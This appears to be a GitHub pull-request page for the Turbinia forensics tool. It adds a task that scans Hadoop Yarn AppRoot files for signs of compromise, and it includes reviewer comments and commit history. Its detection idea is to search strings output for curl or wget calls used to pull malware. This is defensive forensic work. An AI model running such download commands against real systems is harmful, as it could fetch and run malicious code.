Hadoop (Yarn tasks) compromise analysis#243
Conversation
|
Cool, looking good. I see it's no longer tagged with WIP, but I don't see reviewers assigned yet, so ping me (or assign reviewers) when you're ready. Thanks! |
|
I wanted to let the tests fail miserably (and make sure they do because #226 is not merged yet) |
|
Seems like I actually can't assign a reviewer. |
aarontp
left a comment
There was a problem hiding this comment.
For some reason I don't see this failing on lint errors, but that might be because they are hidden due to it failing on other hard errors like util not being there yet (because #226 isn't submitted yet). I'll see if we can get that merged so that we can clear up the errors on this one. I'm adding some other review comments for now, but most of it is just small nits. Thanks!
| fh.write('\n'.encode('utf8')) | ||
|
|
||
| result.add_evidence(output_evidence, evidence.config) | ||
| result.close(self, success=True) |
There was a problem hiding this comment.
Could we add a status that summarizes the report somehow here? Some of the other tasks have been setting the first line of the report to be something like a summary, and then using that as the status. This way it will show up in the turbiniactl output directly (and the default is something generic).
There was a problem hiding this comment.
First line of the report now says whether badness has been found
There was a problem hiding this comment.
Can we add that first line as the status parameter here too then? e.g.:
result.close(self, success=True, status=text_report.splitlines()[0])
|
FYI, #226 is now submitted. It looks like tests are failing on a separate issue more specific to your PR now. LMK when you want me to want me to PTAL, :). |
|
Please PTAL a look |
aarontp
left a comment
There was a problem hiding this comment.
LG, just a couple small things.
| fh.write('\n'.encode('utf8')) | ||
|
|
||
| result.add_evidence(output_evidence, evidence.config) | ||
| result.close(self, success=True) |
There was a problem hiding this comment.
Can we add that first line as the status parameter here too then? e.g.:
result.close(self, success=True, status=text_report.splitlines()[0])
* empty shell * more scaffholding * make all of this more simple * Things appear to be working * typo * undo some filepath manipulations * register the new hadoop Job * cleanup * renamed * fix output evidence * add tests * typo * styleguide * full path to strings * comments * sync * fix tests * fix py3 tests * fix py3 harder * I call this 'bruteforce programming' * Make _AnalyzeHadoopAppRoot return a list of string, to use the first one as status on the result Evidence * remove extra tab * also check at the beggining of the line
This analysis task looks into the Hadoop AppRoot directory, where Yarn tasks are saved. In case of a compromise, those usually also save the malicious tasks that were created.
Currently, we naively run strings on each of these files and search for post-compromission trivial artifacts (curl or wget, to pull malware).
This depends on the
extract_artifacts()methods fromturbinia/lib/utils.pywhich is going to be added by #226I'm not using FileArtifactExtractionTask as I want to extract all the AppRoot files as one evidence to generate only one report (it is expected that a large amount of Yarn tasks are going to be analyzed while only a handful of them will contain malicious commands)